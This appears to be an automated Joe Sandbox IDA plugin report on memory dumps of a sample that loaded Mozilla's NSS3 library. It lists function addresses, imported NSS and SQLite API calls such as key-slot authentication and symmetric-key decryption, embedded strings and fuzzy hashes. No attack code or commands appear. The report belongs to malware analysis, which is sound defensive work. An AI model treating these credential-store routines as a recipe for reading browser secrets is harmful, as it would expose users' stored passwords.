Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: fa3f758b46fe37a0e9dd9de846f8f302f3b7969d1bc7923cd6f299265ba674af
Instruction ID: 24019247ef629c3b5fe85550decc03f935bd55591d3602ae8c2696e272b91c87
Opcode Fuzzy Hash: fa3f758b46fe37a0e9dd9de846f8f302f3b7969d1bc7923cd6f299265ba674af
Instruction Fuzzy Hash: 1C929175A083819FD704CF29C880A5AB7F1FF89318F19892DF99987B51E731E945CB82

Function 6CBDAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBDACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CBDACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CBDACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CBDAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CBDADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBDADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBDADF0

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBDB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBDB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBDB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBDB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CBDB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBDB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBDB40C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 10535b3bc9d7f5852829d16317f3846b934fc41479036533c58f514ecfbe5ea9
Instruction ID: 0e548a55ffabdfcfbff714b3aba2bfd47744f4d43f6eb6e1ad8bda17ceee4481
Opcode Fuzzy Hash: 10535b3bc9d7f5852829d16317f3846b934fc41479036533c58f514ecfbe5ea9
Instruction Fuzzy Hash: 9822BE71904381AFEB00CF14CC41B9A77A5EF84308F26857CE8595B792E772E859CB96

Function 6CB64420 Relevance: 34.4, APIs: 10, Strings: 9, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB64EE3

Strings

40f-21a-21d, xrefs: 6CB644D0
second, xrefs: 6CB64BCA
an index, xrefs: 6CB64D53, 6CB64E86
-, xrefs: 6CB64FBA
a CHECK constraint, xrefs: 6CB64D62, 6CB64D6D, 6CB64E95, 6CB64EA0
weekday , xrefs: 6CB654AB
non-deterministic use of %s() in %s, xrefs: 6CB64D71, 6CB64EA4
start of , xrefs: 6CB6517A
a generated column, xrefs: 6CB64D58, 6CB64E8B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $weekday
API String ID: 39653677-183924012
Opcode ID: 44755d62183c1aa6f48e0a109ee805c75da1e499a20a6303993181c3b3f2ceca
Instruction ID: b674bdd3e3e78a73b900088df67fabef283336cad20a47104d9249ec93d275c5
Opcode Fuzzy Hash: 44755d62183c1aa6f48e0a109ee805c75da1e499a20a6303993181c3b3f2ceca
Instruction Fuzzy Hash: D6A22431A08BC48FD711CF26C060266BBE2EF86358F14865DE8D55BF52E735D88ACB46

Function 6CB5ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB5ED38

Part of subcall function 6CAF4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CB5EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CB5EFE4

Part of subcall function 6CC1DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CAF5001,?,00000003,00000000), ref: 6CC1DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CB5F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CB5F129
sqlite3_mprintf.NSS3(optimize), ref: 6CB5F1D1
sqlite3_free.NSS3(?), ref: 6CB5F368

Strings

snippet, xrefs: 6CB5EF05, 6CB5EF37, 6CB5EF7C
unicode61, xrefs: 6CB5EDB5
fts4, xrefs: 6CB5F2AD
fts3_tokenizer, xrefs: 6CB5EE1A, 6CB5EEA8
fts4aux, xrefs: 6CB5ECF9
fts3, xrefs: 6CB5F247
offsets, xrefs: 6CB5EFAF, 6CB5EFDF, 6CB5F01F
simple, xrefs: 6CB5ED79
porter, xrefs: 6CB5ED97
fts3tokenize, xrefs: 6CB5F30F
optimize, xrefs: 6CB5F199, 6CB5F1CC, 6CB5F211
matchinfo, xrefs: 6CB5F04F, 6CB5F082, 6CB5F0C2, 6CB5F0F2, 6CB5F124, 6CB5F169

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 1eb535f7e3293b90fe858a6326eee67e69906ef22ee70f091fde8e09cfb7e782
Instruction ID: 2d952b1e1e99614bbd029ff97ddea26eb21055fb09e60784c74b011cf40a1c01
Opcode Fuzzy Hash: 1eb535f7e3293b90fe858a6326eee67e69906ef22ee70f091fde8e09cfb7e782
Instruction Fuzzy Hash: 4502CFB1B043814BE7049F72A88572FB7B2BBC5708F14853CE85A87B41EB75E956C782

Function 6CB9A4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6CB728AD,pkcs11:,00000007), ref: 6CB9A501
PORT_Strdup_Util.NSS3(6CB728AD), ref: 6CB9A514

Part of subcall function 6CBD0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB72AF5,?,?,?,?,?,6CB70A1B,00000000), ref: 6CBD0F1A
Part of subcall function 6CBD0F10: malloc.MOZGLUE(00000001), ref: 6CBD0F30
Part of subcall function 6CBD0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBD0F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6CB9A529
PK11_GetInternalKeySlot.NSS3 ref: 6CB9A60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CB9A74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CB9A777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9A80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6CB9A82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB9A952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9A9C3

Part of subcall function 6CBC0960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6CB9A8F5,00000000,?,00000010), ref: 6CBC097E
Part of subcall function 6CBC0960: memcmp.VCRUNTIME140(?,00000000,6CB9A8F5,00000010), ref: 6CBC098D

free.MOZGLUE(00000000), ref: 6CB9AB18
strchr.VCRUNTIME140(?,00000040), ref: 6CB9AB40
free.MOZGLUE(?), ref: 6CB9ABE1

Part of subcall function 6CB94170: TlsGetValue.KERNEL32(?,6CB728AD,00000000,?,6CB9A793,?,00000000), ref: 6CB9419F
Part of subcall function 6CB94170: EnterCriticalSection.KERNEL32(0000001C), ref: 6CB941AF
Part of subcall function 6CB94170: PR_Unlock.NSS3(?), ref: 6CB941D4

Strings

model, xrefs: 6CB9A8CF
object, xrefs: 6CB9A5CF
token, xrefs: 6CB9A875
pkcs11:, xrefs: 6CB9A4FB
manufacturer, xrefs: 6CB9A8A2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: 36251f6f0cc63727acaef09f670f14ce39b4df49c59dab9863d0f7209bd49474
Instruction ID: ba618a614bc2cf547238adfc1e557a904c9e8666e5ece7019dea69aace0a336a
Opcode Fuzzy Hash: 36251f6f0cc63727acaef09f670f14ce39b4df49c59dab9863d0f7209bd49474
Instruction Fuzzy Hash: E80273B5E012649FEF219B25AC41B9E7679AF02348F1440B4E90CA6712FB319E59CF93

Function 6CBAEA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CBB8C9F,00000000,00000000,?), ref: 6CBAEA29

Part of subcall function 6CBD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD08B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CBB8C9F), ref: 6CBAEB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6CC9C6C4), ref: 6CBAEB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CBAEBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CBAEBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBAEBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CBB8C9F), ref: 6CBAEC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBAEC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CBAEC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6CC9C754), ref: 6CBAEC6D
free.MOZGLUE(?), ref: 6CBAEC7F
free.MOZGLUE(00000000), ref: 6CBAEC90
free.MOZGLUE(?), ref: 6CBAECA1
free.MOZGLUE(00000000), ref: 6CBAECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBAECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6CBB91D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6CBB91E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CBB91F2
free.MOZGLUE(00000000), ref: 6CBB91FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: c8c4d46d04d308239b7a24d14d5580713913704fc607795382452db3ea846663
Instruction ID: e6e16ed9076b4524da39726965065935f17f0c57122440b775549bba8dbfb5d0
Opcode Fuzzy Hash: c8c4d46d04d308239b7a24d14d5580713913704fc607795382452db3ea846663
Instruction Fuzzy Hash: C4A1E571A051C55BFB00CAE9DCC8BBE73A8EB45348F600439E856D7B80E635D96687D3

Function 6CB6EF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB6EF63

Part of subcall function 6CB787D0: PORT_NewArena_Util.NSS3(00000800,6CB6EF74,00000000), ref: 6CB787E8
Part of subcall function 6CB787D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CB6EF74,00000000), ref: 6CB787FD
Part of subcall function 6CB787D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB7884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CB6F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB6F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CB6F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CB6F374
PL_strcasecmp.NSS3(6CCB2FD4,?), ref: 6CB6F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CB6F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB6F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB6F67D
CERT_DestroyName.NSS3(?), ref: 6CB6F68B

Part of subcall function 6CB78320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CB78338
Part of subcall function 6CB78320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB78364
Part of subcall function 6CB78320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CB7838E
Part of subcall function 6CB78320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB783A5
Part of subcall function 6CB78320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB783E3

Part of subcall function 6CB784C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CB784D9
Part of subcall function 6CB784C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB78528

Part of subcall function 6CB78900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CB6F599,?,00000000), ref: 6CB78955

Strings

*, xrefs: 6CB6F3C6
OgIyLySawbBAXk20GANNT5yIWrWSyk86PgZJMe7hKleLwi3bIyeMLlZcJqKHlNaJtFkrddWFRSNfoDbfobkNI2KzjGWocm2FoXMgF+rYpioBqRZATciojFFMPJf+5bQdPAz3OQs7RKs79mCgNlfClGUV7w1SNOATEH7vaNQe39out7ufFLdegO7UU5qxq7vc74ZkJudJcoE1OHLfA8p6HzwmQK+kqQZdZeUkOSiiiggaKailkfvXpPAk0EalRuFssn+B, xrefs: 6CB6F1BA
oid., xrefs: 6CB6F2CF
", xrefs: 6CB6F21B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$OgIyLySawbBAXk20GANNT5yIWrWSyk86PgZJMe7hKleLwi3bIyeMLlZcJqKHlNaJtFkrddWFRSNfoDbfobkNI2KzjGWocm2FoXMgF+rYpioBqRZATciojFFMPJf+5bQdPAz3OQs7RKs79mCgNlfClGUV7w1SNOATEH7vaNQe39out7ufFLdegO7UU5qxq7vc74ZkJudJcoE1OHLfA8p6HzwmQK+kqQZdZeUkOSiiiggaKailkfvXpPAk0EalRuFssn+B$oid.
API String ID: 4161946812-571596509
Opcode ID: f3d11f7fa5db22918036bce288a36d60cebb00d51d1822be092bd3e842c32e22
Instruction ID: 0320b36ed377636b5b3c8148f5e457de8676f203a0f26e990f5ee686a50ef706
Opcode Fuzzy Hash: f3d11f7fa5db22918036bce288a36d60cebb00d51d1822be092bd3e842c32e22
Instruction Fuzzy Hash: B522267160C3C18BE710CE2AC89076AB7E6EB85358F184A2EE4D587F95E7319C05CB93

Function 6CBCA5E0 Relevance: 23.1, APIs: 15, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b321bb789a7a93740bd2e316d2bdd87a115135579eecb10d3cb69ac3a0256ff
Instruction ID: 25161e33fbd8ac84c1285055501f344b9d28613729d23cb8901db3a479c80961
Opcode Fuzzy Hash: 9b321bb789a7a93740bd2e316d2bdd87a115135579eecb10d3cb69ac3a0256ff
Instruction Fuzzy Hash: 64122B70F041E84FDB258A2888D13EE77F1EF4A318F2841EAC5A997A41D6354E95CF93

Function 6CBDEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBDDAE2,?), ref: 6CBDC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBDF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBDF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CBDF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBDF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CCA218C), ref: 6CBDF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CBDF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBDF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBDF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CBDF210

Part of subcall function 6CB852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CBDF1E9,?,00000000,?,?), ref: 6CB852F5
Part of subcall function 6CB852D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CB8530F
Part of subcall function 6CB852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CB85326
Part of subcall function 6CB852D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CBDF1E9,?,00000000,?,?), ref: 6CB85340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBDF227

Part of subcall function 6CBCFAB0: free.MOZGLUE(?,-00000001,?,?,6CB6F673,00000000,00000000), ref: 6CBCFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CBDF23E

Part of subcall function 6CBCBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB7E708,00000000,00000000,00000004,00000000), ref: 6CBCBE6A
Part of subcall function 6CBCBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB804DC,?), ref: 6CBCBE7E
Part of subcall function 6CBCBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBCBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBDF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBDF3A8

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBDF3B3

Part of subcall function 6CB82D20: PK11_DestroyObject.NSS3(?,?), ref: 6CB82D3C
Part of subcall function 6CB82D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB82D5F

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 29fdb285be80c331781d1bdff54a3ac7a85c93d0e3b72c1cb3b86edd8b9dfcdf
Instruction ID: 29f540a551bdf0035ab070d4ad35d81a1802a5e535736106248694428d68db66
Opcode Fuzzy Hash: 29fdb285be80c331781d1bdff54a3ac7a85c93d0e3b72c1cb3b86edd8b9dfcdf
Instruction Fuzzy Hash: 0BD1A0B6E052459FEB04CFA9D880A9EB7F5FF48318F1A8029E915A7711E731F805CB51

Function 6CBBA9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CBBA9CA

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CCD0B04,?), ref: 6CBBA9F7

Part of subcall function 6CBCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCA18D0,?), ref: 6CBCB095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CBBAA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBBAA33
PK11_GetInternalKeySlot.NSS3 ref: 6CBBAA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CBBAA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6CBBAAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6CBBAB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBBAB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6CBBAB85
PK11_FreeSymKey.NSS3(00000000), ref: 6CBBAB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CBBABDC
PK11_FreeSymKey.NSS3(?), ref: 6CBBABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBBABF7

Part of subcall function 6CBBAC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CBBAB3E,?,?,?), ref: 6CBBAC35
Part of subcall function 6CBBAC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CBBAB3E,?,?,?), ref: 6CBBAC55
Part of subcall function 6CBBAC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CBBAB3E,?,?), ref: 6CBBAC70
Part of subcall function 6CBBAC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CBBAC92
Part of subcall function 6CBBAC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBBAB3E), ref: 6CBBACD7

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
